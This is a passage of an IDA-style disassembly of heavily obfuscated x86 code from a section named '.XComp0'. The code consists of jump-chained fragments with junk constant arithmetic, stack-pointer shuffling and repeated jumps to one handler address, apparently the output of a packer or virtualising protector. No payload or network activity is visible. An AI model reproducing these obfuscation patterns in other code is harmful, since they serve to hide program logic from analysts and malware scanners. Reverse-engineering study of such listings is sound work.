; ---------------------------------------------------------------------------


loc_57C846:				; CODE XREF: .XComp0:00577B9Aj
		pop	eax
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_578AAA
; ---------------------------------------------------------------------------


loc_57C857:				; CODE XREF: .XComp0:00581F48j
		push	ecx
		mov	ecx, 23071B30h
		mov	edx, ecx
		jmp	loc_580094
; ---------------------------------------------------------------------------


loc_57C864:				; CODE XREF: .XComp0:00583290j
		inc	edi
		shl	edi, 1
		jmp	loc_5756BE
; ---------------------------------------------------------------------------


loc_57C86C:				; CODE XREF: .XComp0:00579A8Dj
		add	ebx, edi
		jmp	loc_579127
; ---------------------------------------------------------------------------


loc_57C873:				; CODE XREF: .XComp0:00576A93j
		shr	ebx, 6
		and	ebx, 0C006CC8h
		and	ebx, 4CD964A1h
		sub	ebx, 63FCh
		jmp	loc_57ADCA
; ---------------------------------------------------------------------------


loc_57C88D:				; CODE XREF: .XComp0:0057CB3Dj
		xchg	ecx, [esp]
		jmp	loc_578EC7
; ---------------------------------------------------------------------------


loc_57C895:				; CODE XREF: .XComp0:00573E5Ej
		sub	al, bl
		jmp	loc_579286
; ---------------------------------------------------------------------------


loc_57C89C:				; CODE XREF: .XComp0:00579000j
		pop	esp
		jmp	loc_5775B3
; ---------------------------------------------------------------------------


loc_57C8A2:				; CODE XREF: .XComp0:005800A8j
		mov	edi, 0AC58CD4Ch
		mov	esi, edi
		pop	edi
		add	esi, 37082FBAh
		sub	esi, eax
		sub	esi, 37082FBAh
		pop	eax
		shl	esi, 6
		shr	esi, 6
		jmp	loc_58315D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		push	esp
		pop	edi
		jmp	loc_57A48A
; ---------------------------------------------------------------------------


loc_57C8D0:				; CODE XREF: .XComp0:005827E7j
		mov	ecx, [esp]
		jmp	loc_5787A7
; ---------------------------------------------------------------------------


loc_57C8D8:				; CODE XREF: .XComp0:00575196j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_57E1BE
; ---------------------------------------------------------------------------


loc_57C8E9:				; CODE XREF: .XComp0:0057EFC2j
		pop	eax
		sub	esp, 4
		jmp	loc_580C25
; ---------------------------------------------------------------------------


loc_57C8F5:				; CODE XREF: .XComp0:005798A3j
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_57609D
; ---------------------------------------------------------------------------


loc_57C900:				; CODE XREF: .XComp0:0057F991j
		pop	ebx
		xor	ecx, ebp
		jmp	loc_578042
; ---------------------------------------------------------------------------


loc_57C908:				; CODE XREF: .XComp0:00580FD3j
		push	edx
		jmp	loc_582CAB
; ---------------------------------------------------------------------------


loc_57C90E:				; CODE XREF: .XComp0:005814D8j
		mov	ecx, 464060FCh
		shl	ecx, 6
		jmp	loc_58145B
; ---------------------------------------------------------------------------


loc_57C91B:				; CODE XREF: .XComp0:0057DF80j
		add	ebp, 4
		push	ecx
		mov	ecx, 24782A94h
		jmp	loc_57E327
; ---------------------------------------------------------------------------


loc_57C92C:				; CODE XREF: .XComp0:005741FDj
		pop	eax
		dec	edi
		dec	edi
		not	edi
		push	ebx
		mov	ebx, 694132F5h
		or	ebx, 2DDA6DA4h
		neg	ebx
		add	ebx, 316F175Eh
		shl	ebx, 2
		sub	ebx, 0D7E1FD63h
		xor	edi, ebx
		pop	ebx
		sub	edi, 63FB2145h
		add	edi, 0A0913EF5h
		add	esi, edi
		mov	edi, [esp]
		jmp	loc_57EC71
; ---------------------------------------------------------------------------


loc_57C967:				; CODE XREF: .XComp0:005739D2j
		pop	bx
		sub	esp, 4
		mov	[esp], ebp
		push	si
		mov	si, 276Dh
		mov	bp, si
		pop	si
		or	bp, 24DBh
		or	bp, 345h
		or	bp, 6F88h
		and	bp, 6944h
		neg	bp
		push	si
		mov	si, 3545h
		jmp	loc_57ED61
; ---------------------------------------------------------------------------


loc_57C99F:				; CODE XREF: .XComp0:0057F83Fj
		mov	eax, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57C9B6:				; CODE XREF: .XComp0:0057EC44j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_579E36
; ---------------------------------------------------------------------------


loc_57C9CC:				; CODE XREF: .XComp0:00580E04j
		mov	ebp, edx
		jmp	loc_57BEC7
; ---------------------------------------------------------------------------


loc_57C9D3:				; CODE XREF: .XComp0:0057E322j
		sub	eax, 5F284F87h
		add	eax, edi
		push	ecx
		push	52DE1965h
		pop	ecx
		inc	ecx
		add	ecx, 68884E47h
		shr	ecx, 1
		neg	ecx
		shr	ecx, 6
		sub	ecx, 0A360E3A9h
		add	eax, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	7C53h
		mov	[esp], edi
		mov	edi, 4C9A2049h
		add	ebx, 17F41982h
		jmp	loc_57CD82
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		push	4948h
		mov	[esp], esp
		push	0D30h
		mov	[esp], ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		pop	ecx
		jmp	loc_57C45C
; ---------------------------------------------------------------------------


loc_57CA3F:				; CODE XREF: .XComp0:005736BBj
		not	eax
		jmp	loc_5834AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_57CA46:				; CODE XREF: sub_5A47B5-2250Dj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_576738
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_57CA53:				; CODE XREF: .XComp0:0057A0BEj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_580D6E
; ---------------------------------------------------------------------------


loc_57CA66:				; CODE XREF: .XComp0:0057BA30j
		push	edi
		mov	edi, 0C28882E8h
		jmp	loc_57D3F8
; ---------------------------------------------------------------------------


loc_57CA71:				; CODE XREF: .XComp0:00574D94j
		add	ecx, 0D1A92860h
		mov	edx, ecx
		jmp	loc_579EDF
; ---------------------------------------------------------------------------


loc_57CA7E:				; CODE XREF: .XComp0:00575474j
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, ebp
		pop	ebp
		add	ecx, 2
		jmp	loc_582B36
; ---------------------------------------------------------------------------


loc_57CA94:				; CODE XREF: .XComp0:0057D571j
		neg	bl
		jmp	loc_577B84
; ---------------------------------------------------------------------------


loc_57CA9B:				; CODE XREF: .XComp0:0057CCECj
		sub	ebp, 0B69E8D3Bh
		add	esi, ebp
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5820E4
; ---------------------------------------------------------------------------


loc_57CAAF:				; CODE XREF: .XComp0:00575260j
		sub	eax, edi
		pop	edi
		pop	esi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		movsx	ecx, al
		sub	esp, 4
		mov	[esp], edi
		push	30C4h
		push	esp
		jmp	loc_58164B
; ---------------------------------------------------------------------------


loc_57CACE:				; CODE XREF: .XComp0:0057FB52j
		mov	esi, [esp]
		add	esp, 4
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_575ADC
; ---------------------------------------------------------------------------


loc_57CAE4:				; CODE XREF: .XComp0:00580D72j
		push	edx
		jmp	loc_57799A
; ---------------------------------------------------------------------------


loc_57CAEA:				; CODE XREF: .XComp0:0057D692j
		xor	edi, 61D7522Fh
		push	ebx
		mov	ebx, 7118C123h
		xor	edi, ebx
		pop	ebx
		mov	ebx, edi
		jmp	loc_5835CC
; ---------------------------------------------------------------------------


loc_57CB00:				; CODE XREF: .XComp0:00577683j
		add	ecx, 4
		push	1384h
		jmp	loc_57F143
; ---------------------------------------------------------------------------


loc_57CB10:				; CODE XREF: .XComp0:005766C3j
		pop	ecx
		pop	edx
		mov	ebx, esi
		pop	esi
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, 1
		push	ebp
		mov	ebp, 6996FD0h
		not	ebp
		push	ecx
		jmp	loc_581146
; ---------------------------------------------------------------------------


loc_57CB2E:				; CODE XREF: .XComp0:00580FBFj
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_57C88D
; ---------------------------------------------------------------------------


loc_57CB42:				; CODE XREF: .XComp0:005765D7j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_57F705
; ---------------------------------------------------------------------------


loc_57CB4F:				; CODE XREF: .XComp0:00581125j
		sub	edx, 0A23515h
		pop	eax
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		add	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_576588
; ---------------------------------------------------------------------------


loc_57CB6F:				; CODE XREF: .XComp0:0057EE2Dj
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		push	71B8h
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 12DC61F7h
		sub	edx, 7DC6229Fh
		not	edx
		sub	edx, 22921463h
		shl	edx, 5
		neg	edx
		sub	edx, 0F50A777Ch
		jmp	loc_57B2F4
; ---------------------------------------------------------------------------


loc_57CBA9:				; CODE XREF: .XComp0:00579D43j
		push	0B0Ah
		mov	[esp], esi
		push	ebx
		push	edx
		push	5D1E79DEh
		jmp	loc_57B09A
; ---------------------------------------------------------------------------


loc_57CBBD:				; CODE XREF: .XComp0:00580775j
		dec	dh
		push	bx
		mov	bl, 0Dh
		xor	dh, bl
		jmp	loc_580217
; ---------------------------------------------------------------------------


loc_57CBCA:				; CODE XREF: .XComp0:0057BA49j
		mov	[esp], eax
		push	ecx
		mov	ecx, 3E0B060Dh
		jmp	loc_57B955
; ---------------------------------------------------------------------------


loc_57CBD8:				; CODE XREF: .XComp0:0057364Bj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	ax
		jmp	loc_5759CB
; ---------------------------------------------------------------------------


loc_57CBEF:				; CODE XREF: .XComp0:005835CEj
		mov	ecx, 55502F86h
		sub	ecx, 530905F1h
		sub	ecx, 1EDD40D0h
		xor	ecx, 0E40DFC04h
		sub	edx, ecx
		jmp	loc_58073A
; ---------------------------------------------------------------------------


loc_57CC0D:				; CODE XREF: .XComp0:00574978j
		xchg	edi, ebx
		not	edi
		jmp	loc_57F919
; ---------------------------------------------------------------------------


loc_57CC16:				; CODE XREF: .XComp0:0057DD31j
		mov	[esp], esi
		jmp	loc_580FA1
; ---------------------------------------------------------------------------


loc_57CC1E:				; CODE XREF: .XComp0:005801FDj
		add	ecx, 443F2CCFh
		add	ecx, 132D0C0Dh
		or	ecx, 58C67ABFh
		shr	ecx, 6
		shl	ecx, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_57988E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5805A1
; ---------------------------------------------------------------------------


loc_57CC55:				; CODE XREF: .XComp0:00582EA3j
		pop	esp
		jmp	loc_583543
; ---------------------------------------------------------------------------


loc_57CC5B:				; CODE XREF: .XComp0:0057461Aj
		mov	eax, ecx
		pop	ecx
		and	[edi+1Ch], eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_57EF9B
; ---------------------------------------------------------------------------


loc_57CC6A:				; CODE XREF: .XComp0:0057936Dj
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, eax
		push	1F4Fh
		mov	[esp], edx
		pop	dword ptr [edi+40h]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5744C5
; ---------------------------------------------------------------------------


loc_57CC9F:				; CODE XREF: .XComp0:00581EF1j
		pop	dword ptr [esp]
		jmp	loc_58058F
; ---------------------------------------------------------------------------


loc_57CCA7:				; CODE XREF: .XComp0:00582E30j
		not	eax
		add	eax, 62241FD1h
		add	esi, 7AAA074Fh
		sub	esi, eax
		jmp	loc_5825FF
; ---------------------------------------------------------------------------


loc_57CCBB:				; CODE XREF: .XComp0:00575CD8j
		xor	ebp, 128B18D3h
		push	esi
		mov	esi, 5185B19h
		or	esi, 6871FF6h
		jmp	loc_57C136
; ---------------------------------------------------------------------------


loc_57CCD2:				; CODE XREF: .XComp0:0057E349j
		pop	edi
		xchg	esi, [esp]
		pop	esp
		add	esi, 4
		push	ebp
		mov	ebp, 5ADA7A37h
		neg	ebp
		inc	ebp
		inc	ebp
		shl	ebp, 6
		not	ebp
		jmp	loc_57CA9B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_57503F
; ---------------------------------------------------------------------------


loc_57CCF9:				; CODE XREF: .XComp0:0057F5CDj
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 7F306ADFh
		sub	eax, ebp
		mov	ebp, [esp]
		push	ebp
		jmp	loc_576CD5
; ---------------------------------------------------------------------------


loc_57CD14:				; CODE XREF: .XComp0:00581ACAj
		mov	esi, esp
		jmp	loc_5834E1
; ---------------------------------------------------------------------------


loc_57CD1B:				; CODE XREF: .XComp0:005789BFj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_57E3D1
; ---------------------------------------------------------------------------


loc_57CD26:				; CODE XREF: .XComp0:0058339Cj
		mov	al, ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		push	ecx
		mov	ch, al
		mov	bl, ch
		pop	ecx
		push	eax
		mov	al, bl
		push	ebx
		jmp	loc_579801
; ---------------------------------------------------------------------------


loc_57CD42:				; CODE XREF: .XComp0:0057A4EDj
		sub	ebx, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_57B78E
; ---------------------------------------------------------------------------


loc_57CD55:				; CODE XREF: .XComp0:00577D94j
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_575DEC
; ---------------------------------------------------------------------------


loc_57CD68:				; CODE XREF: .XComp0:0057753Cj
		mov	[esp], ecx
		jmp	loc_57BB7E
; ---------------------------------------------------------------------------


loc_57CD70:				; CODE XREF: .XComp0:00576139j
		xor	ecx, 170144FBh
		xor	ecx, 24586DA9h
		dec	ecx
		jmp	loc_57BD31
; ---------------------------------------------------------------------------


loc_57CD82:				; CODE XREF: .XComp0:0057CA15j
		sub	ebx, edi
		sub	ebx, 17F41982h
		pop	edi
		add	ebx, 0A831E7h
		sub	ebx, 782C6323h
		add	ebx, eax
		add	ebx, 782C6323h
		sub	ebx, 0A831E7h
		push	ebp
		mov	ebp, 670D3575h
		sub	esp, 4
		jmp	loc_57D868
; ---------------------------------------------------------------------------


loc_57CDB3:				; CODE XREF: .XComp0:00578599j
		add	esp, 4
		xor	cl, bh
		xor	bh, cl
		jmp	loc_5794A1
; ---------------------------------------------------------------------------


loc_57CDBF:				; CODE XREF: .XComp0:00580853j
		add	esp, 4
		push	edx
		mov	edx, 25316741h
		add	edx, 7E1C0B0Dh
		dec	edx
		sub	edx, 9A1B701Dh
		shl	edx, 1
		dec	edx
		jmp	loc_57619A
; ---------------------------------------------------------------------------


loc_57CDE0:				; CODE XREF: .XComp0:0057F8E7j
		pop	ecx
		add	eax, 247A03EBh
		add	eax, ebx
		sub	eax, 247A03EBh
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_582D6E
; ---------------------------------------------------------------------------


loc_57CE02:				; CODE XREF: .XComp0:0057C269j
		mov	edi, 49C73A9Ch
		jmp	loc_57D7E5
; ---------------------------------------------------------------------------


loc_57CE0C:				; CODE XREF: .XComp0:00581EDDj
		xor	edx, 0EF081F50h
		sub	ecx, edx
		pop	edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_580709
; ---------------------------------------------------------------------------


loc_57CE21:				; CODE XREF: .XComp0:00581260j
		pop	eax
		push	12BDh
		mov	[esp], edx
		push	edi
		mov	edi, 44140F38h
		add	edi, 0BBEBF0CAh
		mov	edx, edi
		pop	edi
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57CE4C:				; CODE XREF: .XComp0:00574088j
		push	edx
		push	esi
		mov	esi, 7A8A473Ah
		jmp	loc_582F19
; ---------------------------------------------------------------------------


loc_57CE58:				; CODE XREF: .XComp0:0057FB40j
		shl	ecx, 3
		jmp	loc_581514
; ---------------------------------------------------------------------------


loc_57CE60:				; CODE XREF: .XComp0:005833F6j
		pop	esi
		mov	ebx, edi
		pop	edi
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57CE69:				; CODE XREF: .XComp0:00581DFFj
		pop	edi
		push	esi
		jmp	loc_5789BA
; ---------------------------------------------------------------------------


loc_57CE70:				; CODE XREF: .XComp0:00581830j
		sub	esp, 4
		jmp	loc_583105
; ---------------------------------------------------------------------------


loc_57CE7B:				; CODE XREF: .XComp0:00581141j
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edx
		jmp	loc_57E103
; ---------------------------------------------------------------------------


loc_57CE95:				; CODE XREF: .XComp0:005771BFj
		push	eax
		push	ebp
		push	3FF9272Fh
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 0C34083E2h
		mov	eax, ebp
		pop	ebp
		add	esi, 43AC32A2h
		jmp	loc_58206B
; ---------------------------------------------------------------------------


loc_57CEB9:				; CODE XREF: .XComp0:005827D4j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_57EE8D
; ---------------------------------------------------------------------------


loc_57CEC7:				; CODE XREF: .XComp0:0057AAFAj
		push	eax
		mov	eax, 22FB54A6h
		xor	ebx, eax
		pop	eax
		sub	edx, 5009284Eh
		add	edx, ebx
		push	ebx
		jmp	loc_5773FE
; ---------------------------------------------------------------------------


loc_57CEDE:				; CODE XREF: .XComp0:00578E5Fj
		sub	ebp, 7FED2371h
		jmp	loc_582DF2
; ---------------------------------------------------------------------------


loc_57CEE9:				; CODE XREF: .XComp0:0057B60Fj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	esi
		jmp	loc_5816FE
; ---------------------------------------------------------------------------


loc_57CEFE:				; CODE XREF: .XComp0:0057A31Cj
		mov	esi, esp
		jmp	loc_5836EB
; ---------------------------------------------------------------------------


loc_57CF05:				; CODE XREF: .XComp0:00582606j
		add	eax, 65FF3D4Ch
		add	eax, esi
		jmp	loc_5810C6
; ---------------------------------------------------------------------------


loc_57CF11:				; CODE XREF: .XComp0:0057EF70j
		push	0A2AFEAh
		pop	ebx
		jmp	loc_57DE48
; ---------------------------------------------------------------------------


loc_57CF1C:				; CODE XREF: .XComp0:00574B82j
		mov	[esp], eax
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57CF24:				; CODE XREF: .XComp0:0057C6F0j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_57EA6D
; ---------------------------------------------------------------------------


loc_57CF39:				; CODE XREF: .XComp0:005788CEj
		pop	eax
		add	eax, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1EDE65E5h
		jmp	loc_57B463
; ---------------------------------------------------------------------------


loc_57CF52:				; CODE XREF: .XComp0:0057EEA3j
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_57BA35
; ---------------------------------------------------------------------------


loc_57CF66:				; CODE XREF: .XComp0:00577E40j
		or	ecx, 2D384C5Eh
		add	ecx, 0D04202A3h
		sub	edx, 7470C04h
		add	edx, 2B840418h
		add	edx, ecx
		sub	edx, 2B840418h
		jmp	loc_5835D3
; ---------------------------------------------------------------------------


loc_57CF8B:				; CODE XREF: .XComp0:00577743j
		sub	[edx+30h], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 5EF16337h
		jmp	loc_577A4E
; ---------------------------------------------------------------------------


loc_57CFAF:				; CODE XREF: .XComp0:005796D7j
		or	al, 97h
		sub	al, 2Bh
		xor	al, 0D4h
		inc	al
		jmp	loc_57F0DD
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57CFC4:				; CODE XREF: .XComp0:0058027Dj
		pop	eax
		or	ecx, ecx
		jz	loc_57DB47
		push	7A0Eh
		jmp	loc_57AE77
; ---------------------------------------------------------------------------


loc_57CFD7:				; CODE XREF: .XComp0:0057623Dj
		mov	ecx, 5D364DA9h
		jmp	loc_574883
; ---------------------------------------------------------------------------


loc_57CFE1:				; CODE XREF: .XComp0:005759BBj
		mov	ebp, edi
		jmp	loc_576E9B
; ---------------------------------------------------------------------------


loc_57CFE8:				; CODE XREF: .XComp0:00575B40j
		sub	ecx, 16AF1B44h
		shl	ecx, 7
		or	ecx, 4F175A2Ah
		and	ecx, 7C111634h
		xchg	esi, ecx
		jmp	loc_577D1D
; ---------------------------------------------------------------------------


loc_57D004:				; CODE XREF: .XComp0:00578247j
		add	edi, 4
		push	esi
		push	4
		mov	esi, [esp]
		jmp	loc_57DDA1
; ---------------------------------------------------------------------------
		push	560Eh
		jmp	loc_581AC2
; ---------------------------------------------------------------------------


loc_57D022:				; CODE XREF: .XComp0:0058286Fj
		add	esi, edx
		pop	edx
		shr	esi, 7
		jmp	loc_57A4AB
; ---------------------------------------------------------------------------


loc_57D02D:				; CODE XREF: .XComp0:005793E8j
		mov	[esp], esi
		mov	esi, 4
		sub	eax, 6A0C6EDBh
		jmp	loc_57A1BB
; ---------------------------------------------------------------------------


loc_57D03F:				; CODE XREF: .XComp0:005832AAj
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		push	6CC7h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_57E98C
; ---------------------------------------------------------------------------


loc_57D05F:				; CODE XREF: .XComp0:0057C219j
		mov	[esp], edi
		jmp	loc_5770AE
; ---------------------------------------------------------------------------


loc_57D067:				; CODE XREF: .XComp0:005833A7j
		push	ecx
		push	4
		jmp	loc_582169
; ---------------------------------------------------------------------------


loc_57D072:				; CODE XREF: .XComp0:0057F5AAj
		xchg	edi, [esp]
		pop	esp
		bt	[esp], eax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_57E248
; ---------------------------------------------------------------------------


loc_57D08E:				; CODE XREF: .XComp0:005738DDj
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		push	edi
		mov	edi, 4
		mov	ebp, edi
		pop	edi
		add	eax, ebp
		pop	ebp
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_57A3F0
; ---------------------------------------------------------------------------


loc_57D0B4:				; CODE XREF: .XComp0:0057569Bj
		add	esp, 4
		push	edx
		mov	dl, 6
		jmp	loc_57678E
; ---------------------------------------------------------------------------


loc_57D0C2:				; CODE XREF: .XComp0:0058217Fj
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	dword ptr [esp+4], 0B741396h
		sub	[esp+4], esi
		jmp	loc_577499
; ---------------------------------------------------------------------------


loc_57D0E0:				; CODE XREF: .XComp0:00574D0Cj
		sub	eax, edi
		push	esi
		push	31F83964h
		pop	esi
		sub	eax, esi
		pop	esi
		pop	edi
		push	2072h
		mov	[esp], edi
		mov	edi, 1D6F79FAh
		push	edi
		dec	dword ptr [esp]
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_580480
; ---------------------------------------------------------------------------


loc_57D111:				; CODE XREF: .XComp0:0057A087j
		push	edi
		push	52DB57FFh
		pop	edi
		and	edi, 15073C42h
		inc	edi
		shr	edi, 2
		xchg	ebx, edi
		neg	ebx
		xchg	ebx, edi
		add	edi, 6FF7CB58h
		shl	edi, 6
		push	esi
		mov	esi, 280E5909h
		jmp	loc_575DD0
; ---------------------------------------------------------------------------


loc_57D13C:				; CODE XREF: .XComp0:0057EC0Ej
		xor	bl, 63h
		push	ecx
		mov	cl, bl
		mov	ah, cl
		pop	ecx
		jmp	loc_5779F0
; ---------------------------------------------------------------------------


loc_57D14A:				; CODE XREF: .XComp0:00574F80j
		push	dword ptr [esp]
		pop	edx
		push	2396h
		jmp	loc_581219
; ---------------------------------------------------------------------------


loc_57D158:				; CODE XREF: .XComp0:0057E2B7j
		push	ecx
		jmp	loc_57680B
; ---------------------------------------------------------------------------


loc_57D15E:				; CODE XREF: .XComp0:00575CA4j
		add	esp, 4
		push	722h
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		mov	ecx, 1C746928h
		sub	ecx, 1C746924h
		jmp	loc_577FF3
; ---------------------------------------------------------------------------


loc_57D17F:				; CODE XREF: .XComp0:0057E6A9j
		dec	ecx
		dec	ecx
		not	ecx
		not	ecx
		jmp	loc_5746B4
; ---------------------------------------------------------------------------


loc_57D18A:				; CODE XREF: .XComp0:0057BEADj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_57D848
; ---------------------------------------------------------------------------


loc_57D195:				; CODE XREF: .XComp0:0057C559j
		add	ebx, 23641953h
		add	edx, ebx
		pop	ebx
		sub	edx, 49B25169h
		add	edx, ebx
		add	edx, 49B25169h
		sub	edx, 47456A6Ch
		push	dword ptr [esp]
		jmp	loc_582145
; ---------------------------------------------------------------------------


loc_57D1BA:				; CODE XREF: .XComp0:0057D6FDj
		mov	eax, 580778B1h
		and	eax, 561D3E09h
		shr	eax, 6
		jmp	loc_575A6F
; ---------------------------------------------------------------------------


loc_57D1CC:				; CODE XREF: .XComp0:00577085j
		push	edx
		mov	edx, 0FFFFFFFFh
		add	edi, edx
		pop	edx
		neg	edi
		push	6B69h
		mov	[esp], edx
		mov	edx, 0DBDEC2AAh
		jmp	loc_574CFB
; ---------------------------------------------------------------------------


loc_57D1E9:				; CODE XREF: .XComp0:00575837j
		push	0
		sub	dword ptr [esp], 37C306B5h
		sub	[esp], ebx
		add	dword ptr [esp], 37C306B5h
		pop	ebx
		shl	ebx, 3
		shr	ebx, 1
		shl	ebx, 6
		xor	ebx, 0FCDBD804h
		sub	eax, 2B0818E2h
		add	eax, ebx
		add	eax, 2B0818E2h
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 3BCD3A51h
		neg	ecx
		and	ecx, 18096960h
		jmp	loc_580BD9
; ---------------------------------------------------------------------------


loc_57D236:				; CODE XREF: .XComp0:0057611Fj
		add	eax, 712B7228h
		add	eax, edi
		jmp	loc_57A564
; ---------------------------------------------------------------------------


loc_57D242:				; CODE XREF: .XComp0:00582258j
		push	esp
		jmp	loc_57D63A
; ---------------------------------------------------------------------------


loc_57D248:				; CODE XREF: .XComp0:005806A2j
		mov	esi, [esp]
		jmp	loc_57FED2
; ---------------------------------------------------------------------------


loc_57D250:				; CODE XREF: .XComp0:0057590Aj
		push	7B16h
		mov	[esp], ecx
		push	esp
		jmp	loc_57477C
; ---------------------------------------------------------------------------


loc_57D25E:				; CODE XREF: .XComp0:0057969Ej
		pop	ebp
		pop	dword ptr [esp]
		mov	eax, [esp]
		push	435Ah
		jmp	loc_576478
; ---------------------------------------------------------------------------


loc_57D26F:				; CODE XREF: .XComp0:00579D1Cj
		mov	eax, [esp]
		jmp	loc_576E77
; ---------------------------------------------------------------------------


loc_57D277:				; CODE XREF: .XComp0:005750C6j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 6ED8644Fh
		or	ecx, 6785414Fh
		jmp	loc_5807CB
; ---------------------------------------------------------------------------


loc_57D293:				; CODE XREF: .XComp0:005820B4j
		add	ecx, 22915D9Fh
		jmp	loc_57ECF1
; ---------------------------------------------------------------------------


loc_57D29E:				; CODE XREF: .XComp0:00578171j
		push	edx
		not	dword ptr [esp]
		pop	edx
		xchg	ecx, edx
		dec	ecx
		jmp	loc_58007D
; ---------------------------------------------------------------------------


loc_57D2AB:				; CODE XREF: .XComp0:00582937j
		shr	edi, 7
		not	edi
		push	edx
		mov	edx, 9A5401Bh
		or	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 72D15576h
		jmp	loc_57C5A4
; ---------------------------------------------------------------------------


loc_57D2C9:				; CODE XREF: .XComp0:0057F5E4j
		pop	eax
		shl	edi, 4
		or	edi, 4B71567Ch
		shl	edi, 1
		sub	edi, 0BEF7EEF4h
		add	ebx, edi
		pop	edi
		jmp	loc_5779C2
; ---------------------------------------------------------------------------


loc_57D2E3:				; CODE XREF: .XComp0:00576AE5j
		pop	ebp
		pop	eax
		pop	ecx
		xor	edx, edx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_57A53C
; ---------------------------------------------------------------------------


loc_57D2F3:				; CODE XREF: .XComp0:0058244Dj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
